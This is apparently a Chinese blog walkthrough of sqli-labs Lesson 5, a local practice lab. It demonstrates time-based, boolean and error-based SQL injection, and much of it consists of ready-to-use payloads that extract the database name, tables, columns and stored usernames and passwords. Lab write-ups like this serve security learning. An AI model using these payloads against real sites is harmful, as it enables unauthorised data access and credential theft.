sqli-labs通关-------05lesson-double_injection_single_quotes(盲注)

一进来让我们数据id

然后？？？

到这来我们解释一下名词

http://www.91ri.org/7636.html

介绍一下双查询注入，什么叫双查询注入，这个有点难以解释，通俗的来说就是嵌套子查询。我们理解一下子查询，查询的关键字是select，这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select，里面的这个select语句就是子查询。

这种方法适用于注入的时候没有返回位，但是有返回位的时候也适用，不过又返回位的时候就不建议在、用这个啦！返回位就是你们union select 1,2,3,4,5,6,7,8 这里是8个字段

 

对于这种没有回显的 判断为盲注（时间盲注 布尔盲注）根据他博客蛇皮团团怪还有可能是报错注入。

1．时间盲注

延迟注入一般会用到下面几个函数：

sleep()                             //延迟函数
if(condition,true,false)               //条件语句      
ascii()                              //转换成ascii码
substring("string",strart,length) 

left(string,length)

首先我们继续通过id=1,id=1’, id=1), id=1’) id=1”  发现id=1’)出错了

So 判断应该是单引号闭合

 

 

然和我们尝试sleep（5）

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5)--+

发现有明显延迟了

发现盲注就继续想办法搞数据库名 表名 字段名。。。。一般没有人用手工 多用sqlmap，这里我们多为了学习

发现有延迟该咋办呢，用if大法强行判断，一般会累死。。。。。

我们先判断数据库长度，函数定义已经在上面给了。发现当长度是8的时候明显延迟

http://127.0.0.1:90/sqli-labs/Less-5/?id=1' and if(length(database())=8,sleep(5),1)--+

然后通过字符判断substring 开始位置是从1开始的

http://127.0.0.1:90/sqli-labs/Less-5/?id=1' and if(substring(database(),1,1)='s',sleep(5),1)--+

然后就挨个尝试吧

http://127.0.0.1:90/sqli-labs/Less-5/?id=1' and if(substring(database(),1,2)='se',sleep(5),1)--+

大约一年后………..

我们得到了库名 security

 

然后我们有大概通过十年的尝试挨个报出来了数据库名称*（自己写脚本或者sqlmap）

http://127.0.0.1:90/sqli-labs/Less-5/?id=1' and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,6)="emails",sleep(5),1)--+

然后就通过这种方式漫长的时间后我们搞到了密码

 

2.布尔盲注

我们通过有无回显以及二分法判断数据库名称及表名及字段

http://127.0.0.1:90/sqli-labs/Less-5/?id=1’and substring((select database()),1,1)<’t’--+

http://127.0.0.1:90/sqli-labs/Less-5/?id=1’ and substring((select database()),1,1)>’t’--+

三，concat

之前我们在lesson1里面说过extractvalue()和updatexml()报错注入现在又发现concat

 

http://127.0.0.1:90/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password)from users)))--+

但是本来我想尝试一下concat 可惜我的mysql把我给禁了到此结束 为了本篇完整复制一波

 

作者：蛇皮团团怪

原文：https://blog.csdn.net/qq_41420747/article/details/81836327

 

爆库payload

 

?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

//或者

?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

//注意本本方法具有随机性，原理待研究

​

爆用户payload

 

?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+

爆表名payload

 

?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

 修改limit x,1 可以遍历表名，找到user这个表，猜测它存放username和password

 

爆列名payload

 

?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

  修改limit x,1 可以遍历列名，找到username和password列

 

爆字段payload

 

?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

​

 

修改limit x,1 可以显示第x个用户的password和username  （‘[’是分隔符）

 

注入结束。